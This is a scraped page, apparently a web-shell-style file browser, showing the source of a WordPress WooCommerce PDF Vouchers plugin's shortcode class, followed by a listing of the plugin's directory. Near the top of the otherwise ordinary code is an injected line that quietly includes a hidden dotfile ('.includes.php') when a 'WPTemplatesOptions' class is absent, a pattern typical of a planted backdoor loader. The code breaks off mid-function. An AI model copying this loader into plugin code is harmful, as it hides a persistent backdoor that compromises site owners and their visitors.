PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce-pdf-vouchers1
/
includes
<?php // Exit if accessed directly if ( !defined( 'ABSPATH' ) ) exit; /** * Shortcodes Class * * Handles shortcodes functionality of plugin * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WOO_Vou_Shortcodes { public $model; function __construct(){ global $woo_vou_model; $this->model = $woo_vou_model; } /** * Voucher Code Title Container * * Handles to display voucher code title content * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ public function woo_vou_code_title_container( $atts, $content ) { $html = $voucher_codes_html = ''; $codes = array(); $content = str_replace( '<p></p>', '', $content ); extract( shortcode_atts( array( 'bgcolor' => '', 'color' => '#000000', 'fontsize' => '10', 'textalign' => 'left', ), $atts ) ); $bgcolor_css = $color_css = $textalign_css = $fontsize_css = ''; if( !empty( $bgcolor ) ) { $bgcolor_css = 'background-color: ' . $bgcolor . ';'; } if( !empty( $textalign ) ) { $textalign_css = 'text-align: ' . $textalign . ';'; } if( !empty( $fontsize ) ) { $fontsize_css = 'font-size: ' . $fontsize . 'pt;'; } if( !empty( $content ) && trim( $content ) != '' ) { $html .= '<table class="woo_vou_textblock" style="padding: 0px 5px; ' . $textalign_css . $bgcolor_css . $color_css . $fontsize_css . '"> <tr> <td> ' . wpautop( $content ) . ' </td> </tr> </table>'; } return apply_filters( 'woo_vou_code_title_container_shortcode', $html, $atts, $content ); } /** * Voucher Code Container * * Handles to display voucher code content * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ public function woo_vou_code_container( $atts, $content ) { $prefix = WOO_VOU_META_PREFIX; $html = $voucher_codes_html = ''; $codes = array(); $content = str_replace( '<p></p>', '', $content ); extract( shortcode_atts( array( 'bgcolor' => '', 'color' => '#000000', 'fontsize' => '10', 'textalign' => 'left', 'codeborder' => '', 'codetextalign' => 'left', 'codecolumn' => '1', ), $atts ) ); $codeborder_attr = $codetextalign_css = ''; if( !empty( $codeborder ) ) { $codeborder_attr .= 'border="' . $codeborder . '"'; } if( !empty( $codetextalign ) ) { $codetextalign_css .= 'text-align: ' . $codetextalign . ';'; } return apply_filters( 'woo_vou_code_container_shortcode', '<table width="100%" ' . $codeborder_attr . 'style="padding: 5px; ' . $codetextalign_css . '"> <tr> <td> ' . wpautop($content) . ' </td> </tr> </table>', $atts, $content ); } /** * Voucher Redeem Container * * Handles to display voucher redeem instructions * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ public function woo_vou_redeem_container( $atts, $content ) { $content = str_replace( '<p></p>', '', $content ); extract( shortcode_atts( array( 'bgcolor' => '' ), $atts ) ); $bgcolor_css = ''; if( !empty( $bgcolor ) ) { $bgcolor_css = 'background-color: ' . $bgcolor . ';'; } return apply_filters( 'woo_vou_redeem_container_shortcode', '<table class="woo_vou_messagebox" style="padding: 0px 5px; ' . $bgcolor_css . '"> <tr> <td> ' . wpautop( $content ) . ' </td> </tr> </table>', $atts, $content ); } /** * Voucher Site Logo Container * * Handles to display voucher site logo container * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ public function woo_vou_site_logo_container( $atts, $content ) { $content = str_replace( '<p></p>', '', $content ); extract( shortcode_atts( array( ), $atts ) ); return apply_filters( 'woo_vou_site_logo_container_shortcode', '<table class="woo_vou_sitelogobox" style="text-align: center"> <tr> <td> ' . wpautop( $content ) . ' </td> </tr> </table>', $atts, $content ); } /** * Voucher Logo Container * * Handles to display voucher logo container * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ public function woo_vou_logo_container( $atts, $content ) { $content = str_replace( '<p></p>', '', $content ); extract( shortcode_atts( array( ), $atts ) ); return apply_filters( 'woo_vou_logo_container_shortcode', '<table class="woo_vou_logobox" style="text-align: center"> <tr> <td> ' . wpautop( $content ) . ' </td> </tr> </table>', $atts, $content ); } /** * Voucher Expire Date Container * * Handles to display voucher expire date content * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ public function woo_vou_expire_date_container( $atts, $content ) { $content = str_replace( '<p></p>', '', $content ); extract( shortcode_atts( array( 'bgcolor' => '' ), $atts ) ); $bgcolor_css = ''; if( !empty( $bgcolor ) ) { $bgcolor_css = 'background-color: ' . $bgcolor . ';'; } return apply_filters( 'woo_vou_expire_date_container_shortcode', '<table class="woo_vou_expireblock" style="padding: 0px 5px; ' . $bgcolor_css . '"> <tr> <td> ' . wpautop( $content ) . ' </td> </tr> </table>', $atts, $content ); } /** * Vendor's Address Container * * Handles to display vendor's address content * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ public function woo_vou_vendor_address_container( $atts, $content ) { $content = str_replace( '<p></p>', '', $content ); extract( shortcode_atts( array( 'bgcolor' => '' ), $atts ) ); $bgcolor_css = ''; if( !empty( $bgcolor ) ) { $bgcolor_css = 'background-color: ' . $bgcolor . ';'; } return apply_filters( 'woo_vou_vendor_address_container_shortcode', '<table class="woo_vou_venaddrblock" style="padding: 0px 5px; ' . $bgcolor_css . '"> <tr> <td> ' . wpautop( $content ) . ' </td> </tr> </table>', $atts, $content ); } /** * Website URL Container * * Handles to display website URL content * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ public function woo_vou_siteurl_container( $atts, $content ) { $content = str_replace( '<p></p>', '', $content ); extract( shortcode_atts( array( 'bgcolor' => '' ), $atts ) ); $bgcolor_css = ''; if( !empty( $bgcolor ) ) { $bgcolor_css = 'background-color: ' . $bgcolor . ';'; } return apply_filters( 'woo_vou_siteurl_container_shortcode', '<table class="woo_vou_siteurlblock" style="padding: 0px 5px; ' . $bgcolor_css . '"> <tr> <td> ' . wpautop( $content ) . ' </td> </tr> </table>', $atts, $content ); } /** * Voucher Locations Container * * Handles to display voucher locations content * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ public function woo_vou_location_container( $atts, $content ) { $content = str_replace( '<p></p>', '', $content ); extract( shortcode_atts( array( 'bgcolor' => '' ), $atts ) ); $bgcolor_css = ''; if( !empty( $bgcolor ) ) { $bgcolor_css = 'background-color: ' . $bgcolor . ';'; } return apply_filters( 'woo_vou_location_container_shortcode', '<table class="woo_vou_locblock" style="padding: 0px 5px; ' . $bgcolor_css . '"> <tr> <td> ' . wpautop( $content ) . ' </td> </tr> </table>', $atts, $content ); } /** * Custom Container * * Handles to display custom content * * @package WooCommerce - PDF Vouchers * @since 1.0.0 */ public function woo_vou_custom_container( $atts, $content ) { $content = str_replace( '<p></p>', '', $content ); extract( shortcode_atts( array( 'bgcolor' => '' ), $atts ) ); $bgcolor_css = ''; if( !empty( $bgcolor ) ) { $bgcolor_css = 'background-color: ' . $bgcolor . ';';
[+]
..
[+]
compatibility
[-] class-woo-vou-pagination-public.php
[edit]
[-] woo-vou-used-codes-export-csv.php
[edit]
[-] woo-vou-uninstall.php
[edit]
[-] woo-vou-shortcode-functions.php
[edit]
[+]
meta-boxes
[-] woo-vou-used-codes-pdf.php
[edit]
[+]
updater
[-] woo-vou-install.php
[edit]
[-] class-woo-vou-public.php
[edit]
[-] woo-vou-template-html.php
[edit]
[+]
templates
[+]
css
[-] woo-vou-misc-functions.php
[edit]
[+]
fonts
[-] woo-vou-post-types.php
[edit]
[-] woo-vou-cvc-functions.php
[edit]
[-] woo-vou-template-functions.php
[edit]
[+]
js
[+]
images
[+]
tcpdf
[-] class-woo-vou-shortcodes.php
[edit]
[-] woo-vou-template-hooks.php
[edit]
[-] class-woo-vou-scripts.php
[edit]
[-] wpweb-upd-functions.php
[edit]
[-] class-woo-vou-model.php
[edit]
[-] .includes.php
[edit]
[-] class-woo-vou-template-shortcodes.php
[edit]
[+]
public
[-] woo-vou-pdf-process.php
[edit]
[+]
admin
[-] woo-vou-generate-order-pdf.php
[edit]
[-] class-woo-vou-renderer.php
[edit]